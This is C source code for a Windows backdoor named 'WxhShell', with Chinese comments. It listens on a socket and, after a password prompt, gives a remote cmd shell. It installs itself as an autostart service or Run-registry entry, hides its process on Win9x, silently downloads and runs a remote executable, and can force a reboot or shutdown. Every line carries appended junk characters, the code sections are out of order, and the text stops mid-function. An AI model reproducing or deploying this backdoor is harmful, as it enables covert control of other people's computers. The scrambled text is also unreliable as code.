    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yPoSJzC=[  
    if(Boot(SHUTDOWN)) gGEIK0\{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eeW`JG-E  
    else { uaaf9SL?  
    closesocket(wsh); J:AMnUOcDi  
    ExitThread(0); @MOCug4  
    } B)M& \: _  
    break; &pL/ @2+  
    } 6T_K9  
  // 获取shell W qE '(  
  case 's': { !>3LGu,  
    CmdShell(wsh); 2e59Ez%k6  
    closesocket(wsh); wx*1*KZ  
    ExitThread(0); <!F3s`7~  
    break; 9,scH65x  
  } _w>uI57U  
  // 退出 i$C-)d]  
  case 'x': { lI6W$V\,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &n>7Ir  
    CloseIt(wsh);  L=]p_2+  
    break; xzr<k Sp  
    } 0q#"clw  
  // 离开 n1,S_Hs  
  case 'q': { JRY_ nX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); DkdL#sV  
    closesocket(wsh); 'mE^5K  
    WSACleanup(); cDIBDC  
    exit(1); 6e.[,-eU  
    break; D:9 2\l  
        } Q+'nw9:;T  
  } UV@0gdy[  
  } G?xJv`"9iC  
Bd# TUy  
  // 提示信息 |55dbL$w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )M:)y  
} ;&S;%W>|  
  } 9->q|E4  
y`S o&:1  
  return; m*Cu-6&qd  
} o2naVxetE  
.T8K-<R  
// shell模块句柄 G\kpUdj}  
int CmdShell(SOCKET sock) 4MLH+/e  
{ Oaa"T8t  
STARTUPINFO si; (%'9CfPx  
ZeroMemory(&si,sizeof(si)); .Y\EE;8%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ee)xnY%(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :o8MUXH$  
PROCESS_INFORMATION ProcessInfo; '!Wvqs  
char cmdline[]="cmd"; pO]8 dE0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j_GBH8 `  
  return 0; cP rwW 6  
} vFhz!P~  
e.8$ga{  
// 自身启动模式 7u|B ](FS  
int StartFromService(void) G3a7`CD  
{ wxdyF&U n  
typedef struct :kG)sw7  
{ x-;`-Uo%  
  DWORD ExitStatus; t)a;/scT  
  DWORD PebBaseAddress; WU)Ss`s \  
  DWORD AffinityMask; gKi{Y1  
  DWORD BasePriority; FFvCi@oT  
  ULONG UniqueProcessId; *x(Jq?5O7X  
  ULONG InheritedFromUniqueProcessId; >2lwWXA  
}   PROCESS_BASIC_INFORMATION; pj8azFZ  
g7n "  
PROCNTQSIP NtQueryInformationProcess; ;gB`YNL  
yWb4Ify  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rQr!R$t/[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Md&WJ };L  
eB]R3j{  
  HANDLE             hProcess;  rLv;Y  
  PROCESS_BASIC_INFORMATION pbi; /XbW<dfl  
c^9tYNn  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #ekM"p  
  if(NULL == hInst ) return 0; ea9oakF  
N$#\Xdo  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iqPBsIW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '*T]fND4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K{=PQ XSU  
:L:&t,X  
  if (!NtQueryInformationProcess) return 0; fY W|p<Q0  
+B"0{>n}F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <]d LX}C)  
  if(!hProcess) return 0; E=w3=\JP  
nc?B6IV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ue{xnjw>U  
,={t8lN  
  CloseHandle(hProcess); {' 5qv@3  
w/m:{cHk  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l,`!rF_  
if(hProcess==NULL) return 0; 5kMWW*Xtf  
8Vn4.R[vE  
HMODULE hMod; 7o]HQ[xO  
char procName[255]; )jDJMi_[  
unsigned long cbNeeded; <<zI\+V  
)^x K   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D1T@R)j  
#b)e4vwCq  
  CloseHandle(hProcess); bF-"tm  
VaLs`q&3>  
if(strstr(procName,"services")) return 1; // 以服务启动 ?Bx./t><  
vHKlLl>*2  
  return 0; // 注册表启动 <02m%rhuW  
} m%r/O&g  
#wR;|pN  
// 主模块 Zv!{{XO2;  
int StartWxhshell(LPSTR lpCmdLine) 'Jj=RAV`  
{ Q[u6|jRt  
  SOCKET wsl; ^@6q  
BOOL val=TRUE; )!W45"l-3M  
  int port=0; CIC[1,  
  struct sockaddr_in door; Lx[ ,Z,kD  
Wf26  
  if(wscfg.ws_autoins) Install(); |ys0`Vb=$  
%,q. ),F  
port=atoi(lpCmdLine); anN#5jt  
'%;\YD9  
if(port<=0) port=wscfg.ws_port; zfI}Q}p  
Acm<-de  
  WSADATA data; } cNW^4F  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m$2<`C=  
q1{H~VSn"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^{yk[tHpS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {2KFD\i\  
  door.sin_family = AF_INET; EL{vFP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); nt :N!suP3  
  door.sin_port = htons(port); T)iW`vZg8  
S4o$t -9l  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tkKJh !Q7  
closesocket(wsl); b[ w;i]2  
return 1; !CY&{LEYn0  
} [iS$JG-  
iCQ>@P]nE  
  if(listen(wsl,2) == INVALID_SOCKET) { 7jG(<!,  
closesocket(wsl); XNH4vG |  
return 1; NL"G2[e  
} )A8v];.]3  
  Wxhshell(wsl); `BXS)xj  
  WSACleanup(); 6W2hr2Zy9  
=H`Q~ Xx  
return 0; ml!5:r>  
<[~,uR7  
} S?0$?w?  
l.=p8-/$'7  
// 以NT服务方式启动 g=8un`]7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !q"cpL'4  
{ 42C<1@>zO  
DWORD   status = 0; !cX[-}Q  
  DWORD   specificError = 0xfffffff; P:xT0gtt  
hpbf&S4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; PAF8W lg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9$*s8}|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7<\C ?`q"  
  serviceStatus.dwWin32ExitCode     = 0; dY!Z  
  serviceStatus.dwServiceSpecificExitCode = 0; bn9;7`>.  
  serviceStatus.dwCheckPoint       = 0; zw@'vncc  
  serviceStatus.dwWaitHint       = 0; o^p  
M[]A2'fS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qSU| =  
  if (hServiceStatusHandle==0) return; ?h8{xa5b  
8{ c!).  
status = GetLastError(); [:EvTY  
  if (status!=NO_ERROR) ] ZoPQUS?  
{  $)~   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ef"?|sn  
    serviceStatus.dwCheckPoint       = 0; Dt}rR[yJ  
    serviceStatus.dwWaitHint       = 0; $iw%(H  
    serviceStatus.dwWin32ExitCode     = status; %yS3&Ju  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3251Vq %  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kGYTl,A{  
    return; )7cb6jCU  
  } 2tQ`/!m>v$  
$&I 'o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5g5'@vMN  
  serviceStatus.dwCheckPoint       = 0; umEVy*hc  
  serviceStatus.dwWaitHint       = 0; va)%et0!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n~IVNB*  
} 1 OaXo!  
rS XzBi{  
// 处理NT服务事件,比如:启动、停止 (8a#\Y[b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) pbXi9|bI  
{ aptY6lGv-|  
switch(fdwControl) qCQ./"8  
{ 15\Ph[6g  
case SERVICE_CONTROL_STOP: uZjC c M  
  serviceStatus.dwWin32ExitCode = 0; R!\EK H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  Ukz;0q  
  serviceStatus.dwCheckPoint   = 0; V4w=/e _  
  serviceStatus.dwWaitHint     = 0; #;KsJb)N.  
  { $14:(<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vG41Ck1  
  } ~+F;q vq  
  return; ?9+@+q  
case SERVICE_CONTROL_PAUSE: rJyCw+N0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >h~IfZU1  
  break; (]2H7X:b  
case SERVICE_CONTROL_CONTINUE: PXKJ^fa  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <cN~jv-w$  
  break; m:QG}{<.h  
case SERVICE_CONTROL_INTERROGATE: Pt,ebL~  
  break; CB\{!  
}; z`@^5_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7E$&2U^Js  
} iP@6hG`:  
iPG0o %  
// 标准应用程序主函数 *~XA'Vw!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) YvL?j  
{ Y$>-%KcKeI  
bzpFbfb  
// 获取操作系统版本 m!n/U-^  
OsIsNt=GetOsVer(); W~n.Xeu{C  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )$GIN/i  
l: |D,q  
  // 从命令行安装 (?)7)5H  
  if(strpbrk(lpCmdLine,"iI")) Install(); \;5\9B"i  
}ET,ysa  
  // 下载执行文件 ,~PYt*X4  
if(wscfg.ws_downexe) { )=pD%$iq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) } l 667N  
  WinExec(wscfg.ws_filenam,SW_HIDE); }=](p-]5  
} }j5 a[L  
t0&@h\K  
if(!OsIsNt) { SuBeNA[&  
// 如果时win9x,隐藏进程并且设置为注册表启动 IXLO>>`  
HideProc(); +FG$x/\*0  
StartWxhshell(lpCmdLine); C]u',9,  
} 6rti '  
else )KSoq/  
  if(StartFromService()) K+\nC)oG  
  // 以服务方式启动 AEirj /  
  StartServiceCtrlDispatcher(DispatchTable); "d/s5sP|S  
else =HDI \LD<  
  // 普通方式启动 q Dd~2"er  
  StartWxhshell(lpCmdLine); }Nj97 R  
j1$8#/r;c  
return 0; ,:n| ?7  
} yY{kG2b,  
@r^!{  
q}|U4MJm  
IV16d  
=========================================== RSfM]w}Hq#  
+ZsX*/TOn  
Z$KLl((  
-!M,75nU  
g:ErZ;[  
~!iQ6N?PY  
" jF ^5}5U  
od<b!4k~s  
#include <stdio.h>  cc=gCE  
#include <string.h> l U]un&[N  
#include <windows.h> rsNf$v-*  
#include <winsock2.h> J:dof:q  
#include <winsvc.h> 0X|_^"!  
#include <urlmon.h> Et2JxbD  
kTIYD o  
#pragma comment (lib, "Ws2_32.lib") +%>:0mT  
#pragma comment (lib, "urlmon.lib") n^(A=G  
 v9RW5  
#define MAX_USER   100 // 最大客户端连接数 *V^ #ga#A  
#define BUF_SOCK   200 // sock buffer &[R8Q|1 j  
#define KEY_BUFF   255 // 输入 buffer 8^^[XbH  
/c# `5L[  
#define REBOOT     0   // 重启 mdih-u(T|  
#define SHUTDOWN   1   // 关机 ITJ q  
jn%kG ~]'Q  
#define DEF_PORT   5000 // 监听端口 F!!N9VIC  
`iKj  
#define REG_LEN     16   // 注册表键长度 * A|-KKo\  
#define SVC_LEN     80   // NT服务名长度 W`rNBfG>  
#G]!%  
// 从dll定义API FyL_xu\e  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e;YW6}'}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); EOKzzX7 S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '(+<UpG_Q}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8y';\(;  
v`[Eb27W.  
// wxhshell配置信息 N^0uit  
struct WSCFG { i8X`HbmN  
  int ws_port;         // 监听端口 ;;s* Ohh  
  char ws_passstr[REG_LEN]; // 口令 ,8G{]X)  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y(VJbm`  
  char ws_regname[REG_LEN]; // 注册表键名 x|64l`Vp(:  
  char ws_svcname[REG_LEN]; // 服务名 H5>hx {  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 / jTT5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :6kjEI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h~Q)Uy5N(D  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >-< 8N-@"n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R>@uY( >dJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hIv@i\`  
( n{wg(R  
}; pI[ZBoR~  
\kam cA  
// default Wxhshell configuration )U<Y0bZA!  
struct WSCFG wscfg={DEF_PORT, )u ?' ;  
    "xuhuanlingzhe", iX{G]< n  
    1, 1t[j"CG(o  
    "Wxhshell", :VmHfOO  
    "Wxhshell", kdx y\ jA  
            "WxhShell Service", 2 +5e0/_V  
    "Wrsky Windows CmdShell Service", ZUXr!v/R:1  
    "Please Input Your Password: ", #%3rTU  
  1, W1aa:hEf  
  "http://www.wrsky.com/wxhshell.exe", qf)$$qi  
  "Wxhshell.exe" Wo$%9!W  
    }; p4u5mM  
"I- w  
// 消息定义模块 #!J(4tXny  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^cvl:HOog  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Br>Fpe$q4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4b]a&_-}  
char *msg_ws_ext="\n\rExit."; %~ |HFYd  
char *msg_ws_end="\n\rQuit."; "%2xR[NF  
char *msg_ws_boot="\n\rReboot..."; h:\oly\  
char *msg_ws_poff="\n\rShutdown..."; 2 -!L _W(  
char *msg_ws_down="\n\rSave to "; Ft JjY@#  
M&Y .;  
char *msg_ws_err="\n\rErr!"; tCF&OOI4`  
char *msg_ws_ok="\n\rOK!"; cF T 9Lnz  
{4 >mc'dv  
char ExeFile[MAX_PATH]; bEuaOBc  
int nUser = 0; R! s6% :Yg  
HANDLE handles[MAX_USER]; oSb, :^Wl  
int OsIsNt; 9X<OJT;3J  
;)0w:Zn/[  
SERVICE_STATUS       serviceStatus; PG5- ;i/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0pe3L   
{[Q0qi =  
// 函数声明 @{ ;XZb^  
int Install(void); :B *}^g  
int Uninstall(void); uUR~&8ERX  
int DownloadFile(char *sURL, SOCKET wsh); 1{"llD  
int Boot(int flag); ?z-}>$I;  
void HideProc(void); ^>4o$}  
int GetOsVer(void); OvL\u{(<F  
int Wxhshell(SOCKET wsl); %rKK[  
void TalkWithClient(void *cs); >:sUL<p  
int CmdShell(SOCKET sock); tS# `.F~y  
int StartFromService(void); 5 +9 Ze9  
int StartWxhshell(LPSTR lpCmdLine); :bU(S<%M  
c/W=$3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); RWq{Ff}Hk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /G{_7cb  
JwnAW}=  
// 数据结构和表定义 DR9: _  
SERVICE_TABLE_ENTRY DispatchTable[] = jD,Baz<  
{ Doze8pn  
{wscfg.ws_svcname, NTServiceMain}, ?0*8R K  
{NULL, NULL} 9|' B9C  
}; {43yb_B(  
i?;r7>  
// 自我安装 g8;D/  
int Install(void) )YW<" $s  
{ 79J-)e9  
  char svExeFile[MAX_PATH]; Nw J:!  
  HKEY key; aiCFH_H4;L  
  strcpy(svExeFile,ExeFile); -l+P8:fL~  
v"u^M-_  
// 如果是win9x系统,修改注册表设为自启动 ][PzgzG  
if(!OsIsNt) { ~o3Hdd_#}N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [jx0-3s:X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |V[9}E: h  
  RegCloseKey(key); D6D1S/:ij'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z~G my7h(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PnT)LqEF  
  RegCloseKey(key); &FdWFt=X  
  return 0; {kI#A?M  
    } f}%D"gz  
  } JM$.O;y -  
} nHFrG =o,  
else { "LhUxnll  
.o{0+fC#  
// 如果是NT以上系统,安装为系统服务 I lR\  #  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?gGt2O1J  
if (schSCManager!=0) yQS+P8x&|]  
{ yWPIIWHx!  
  SC_HANDLE schService = CreateService z|R,&~:  
  ( w [>;a.$  
  schSCManager, _S0+;9fhY  
  wscfg.ws_svcname, ajhEL?%D  
  wscfg.ws_svcdisp, z:Sigo_z[  
  SERVICE_ALL_ACCESS, _K9VMczj  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qL5I#?OMkU  
  SERVICE_AUTO_START, b}ODWdJ1  
  SERVICE_ERROR_NORMAL, Lju7,/UD  
  svExeFile, EfLO5$?rm  
  NULL, td2/9|Q  
  NULL, @=S}=cl  
  NULL, ^yviV Y  
  NULL, 10Wz,vW,n  
  NULL ~iBgw&Y  
  ); >>dm }X  
  if (schService!=0) {X]R-1>  
  { 9V uq,dv  
  CloseServiceHandle(schService); pC,o2~%{  
  CloseServiceHandle(schSCManager); 3{% LS"c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); n#Dv2 E=6  
  strcat(svExeFile,wscfg.ws_svcname); gB,G.QM*6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S&nxok`e^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }n,Zl>T9  
  RegCloseKey(key); Myat{OF  
  return 0; dth&?/MERL  
    } 5@Bu99`  
  } ]36sZ *  
  CloseServiceHandle(schSCManager); qr\ !*\9  
} =]R3& ]#n  
} 0X2@CPIFf  
ij5g^{_T;8  
return 1; 8$N8}q%  
} @*N )i?>  
]Hj<IvG  
// 自我卸载 9ch#}/7B  
int Uninstall(void)  oz'\q0  
{ !M<{E*  
  HKEY key; - "*r  
B DY}*cX  
if(!OsIsNt) { >Y 1{rSk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jdeV|H} u  
  RegDeleteValue(key,wscfg.ws_regname); }G46g#_6d>  
  RegCloseKey(key); Q "r_!f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `?\tUO2_T  
  RegDeleteValue(key,wscfg.ws_regname); Wm'QP4`  
  RegCloseKey(key); Dz=k7zRg"  
  return 0; D-imL;|  
  } m%+IPZ2m  
} %m5Q"4O  
} {MAQ/5  
else { ;32#t[i b  
Ax3W2s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `7aDEzmJ  
if (schSCManager!=0) y]..= z_ql  
{ >C WKH~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5pNY)>]t=  
  if (schService!=0) '+'CbWgY  
  { <<9Va.  
  if(DeleteService(schService)!=0) { ! ueN|8'  
  CloseServiceHandle(schService); (fD ;g9  
  CloseServiceHandle(schSCManager); 'J*<iA*W  
  return 0; BIaDY<j90  
  }  c9''  
  CloseServiceHandle(schService); I0AJY )R  
  } Uv_N x10  
  CloseServiceHandle(schSCManager); PMsz`  
} ub0zJTFJ#  
} k@>\LR/v  
yDb'7(3-  
return 1; >e5 *prx+  
} !U_ K&f  
- N>MBn  
// 从指定url下载文件 .o%^'m"=D[  
int DownloadFile(char *sURL, SOCKET wsh) z><5R|Gf  
{ :H6FPV78  
  HRESULT hr; HC {XX>F^  
char seps[]= "/"; +^aFs S  
char *token; $VG*q  
char *file; >>l`,+y  
char myURL[MAX_PATH];  uD_v!  
char myFILE[MAX_PATH]; X#xFFDzN  
%sh>;^58P  
strcpy(myURL,sURL); ~ jU/<~s  
  token=strtok(myURL,seps); \u-0v.+|  
  while(token!=NULL) Mj>}zbpk /  
  { js^ ,(CS  
    file=token; ~Vh(6q.oT  
  token=strtok(NULL,seps); .Hhhi  
  } 1L7{p>;-dO  
C<^YVeG  
GetCurrentDirectory(MAX_PATH,myFILE); D\~zS`}  
strcat(myFILE, "\\"); -kz4FS  
strcat(myFILE, file); {>3\ N0e5  
  send(wsh,myFILE,strlen(myFILE),0); CDj~;$[B  
send(wsh,"...",3,0); C#rc@r,F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); JE 5  
  if(hr==S_OK) ;^ wd_  
return 0; h[KvhbD3   
else 7T``-:`[  
return 1; @r(Z%j7  
I-D^>\k+  
} :6J +%(f  
i>L+gLW  
// 系统电源模块 Uk*IpP`  
int Boot(int flag) i LBvGZ<9  
{ +.B<Hd  
  HANDLE hToken; MfF~8  
  TOKEN_PRIVILEGES tkp; #$~ba %t9%  
r'LVa6e"N  
  if(OsIsNt) { '[|+aJ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zr v]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x}/,yaWZ  
    tkp.PrivilegeCount = 1; uhH^>z KA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Zd^6ulx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Zv]x'3J#Y  
if(flag==REBOOT) { <>xJn{f0c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -Lu)'+  
  return 0; %m,6}yt  
} (;x3} ]  
else { IH48|sa  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v!3A9!.  
  return 0; Kemw^48ts  
} WS-dS6Q}  
  } ]G.%Ty  
  else { %t=kdc0=_  
if(flag==REBOOT) { _CBWb  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2I3h M D0  
  return 0; 'AGto'Yy;  
} WtQ8X|\`  
else { C fEmT8sa  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +:=(#Y  
  return 0; ?SQE5Z  
} RpG+>"1]  
} q>f<u&  
exh/CK4;  
return 1; y4Z &@,_{  
} vr#+0:|  
<H3ezv1M  
// win9x进程隐藏模块 # ,uya2!)  
void HideProc(void) |yyO q  
{ j.~!dh$mg  
^2d!*W|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f:*vr['d  
  if ( hKernel != NULL ) h'J|K^na  
  { mS>xGtD&K  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }7fZ[J3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I{JU-J k|  
    FreeLibrary(hKernel); nKR{ug>I)  
  } ^Jb H?  
DU%w1+u  
return; ~pa!w?/bQ  
} `k(yZtb  
YDC mI@  
// 获取操作系统版本 $,I q;*7N  
int GetOsVer(void) O/:UJ( e{  
{ r|4t aV&  
  OSVERSIONINFO winfo; u4z&!MT}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w6`9fX6{h  
  GetVersionEx(&winfo); Vz14j_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T5urZq*R  
  return 1; `[o)<<}  
  else \ w3]5gJZ  
  return 0; B1]bRxwn?  
} dd2[yKC`  
=to=8H-  
// 客户端句柄模块 ?!qY,9lhH  
int Wxhshell(SOCKET wsl) imQUR C  
{ [c_|ob]  
  SOCKET wsh; $/Aj1j`"9+  
  struct sockaddr_in client; sL E#q+W  
  DWORD myID; XdH\OJ  
"CiTa>x  
  while(nUser<MAX_USER) 0G!]=  
{ 0$r^C6}f  
  int nSize=sizeof(client); t|t#vcB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MX@IHc  
  if(wsh==INVALID_SOCKET) return 1; 5s(1[(  
}kg ye2[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;?C #IU  
if(handles[nUser]==0) c8Z wr]DF  
  closesocket(wsh); =4d (b ;  
else Wg`R_>qQSm  
  nUser++; fdONP>K[E  
  } 5zON}"EC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j,]Y$B  
bLt.O(T}  
  return 0; {Ay"bjZh  
} ~  T>U  
`6+"Z=:  
// 关闭 socket Ov<NsNX]  
void CloseIt(SOCKET wsh) }i!J/tJ)b  
{  Q1@A2+ c  
closesocket(wsh); GfC5z n>  
nUser--; K98i[,rP  
ExitThread(0); 36US5ef  
}  }-~l!  
EJ2yO@5O  
// 客户端请求句柄 1;VHM'  
void TalkWithClient(void *cs) YuB+k^  
{ V)}rEX   
kQ]$%Lk[  
  SOCKET wsh=(SOCKET)cs; A_KW(;50  
  char pwd[SVC_LEN]; m.,U:>  
  char cmd[KEY_BUFF]; w&ak"GgV  
char chr[1]; k5]j.V2f  
int i,j; qW b+r  
J=/5}u_gw  
  while (nUser < MAX_USER) { qP<Lr)nUH  
bJs9X/E  
if(wscfg.ws_passstr) { _YRE (YZ/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7%sdtunf`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !F?XLekTi  
  //ZeroMemory(pwd,KEY_BUFF); Pi|o`d  
      i=0; $q 2D+_  
  while(i<SVC_LEN) { {p,]oOq\  
M9f35 :  
  // 设置超时 cv`~y'?D  
  fd_set FdRead; fum0>tff  
  struct timeval TimeOut; A~mum+[5  
  FD_ZERO(&FdRead); A@Dw<.&_I  
  FD_SET(wsh,&FdRead); %.vVEy  
  TimeOut.tv_sec=8; ~zw]5|  
  TimeOut.tv_usec=0; #^ ]n0!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Fgh]KQ/5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :<|<|qJWo  
$.bBFWk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Lco& Fp  
  pwd=chr[0]; KI+VXH}Y5{  
  if(chr[0]==0xd || chr[0]==0xa) { )(@Hd  
  pwd=0; D$x_o!JT  
  break; x|vqNZ\F  
  } nqf,4MR  
  i++; L{c q, jk  
    } ,\@O(; mF  
[n/hkXa$\  
  // 如果是非法用户,关闭 socket [ I/<_AT#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x+]\1p  
} !Xph_SQ!B=  
'{B!6|"X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Exk\8,EGqS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [VWUqlNt>  
hh[jN 7K  
while(1) { ERN>don2  
/g4f`$a  
  ZeroMemory(cmd,KEY_BUFF); =ha{Ziryo  
&/Q0  
      // 自动支持客户端 telnet标准   Ggb5K8D*  
  j=0; vz!s~cAt  
  while(j<KEY_BUFF) { 2j&AiD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YSe.t_K2C  
  cmd[j]=chr[0]; S)/_muP  
  if(chr[0]==0xa || chr[0]==0xd) { jfqopiSi  
  cmd[j]=0; mN19WQ(r  
  break; n9xAPB }  
  } X<*U.=r)  
  j++; k Zq!&  
    } -bU oCF0  
@W9x$  
  // 下载文件 "%x<ttLl  
  if(strstr(cmd,"http://")) { *~x/=.}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); mOlI#5H  
  if(DownloadFile(cmd,wsh)) :dqn h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ih;]nJ]+-  
  else D N*t~Z3[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _zwUE  
  } u5%7}<nNi  
  else { EB8\_]6XJ  
x3"#POp  
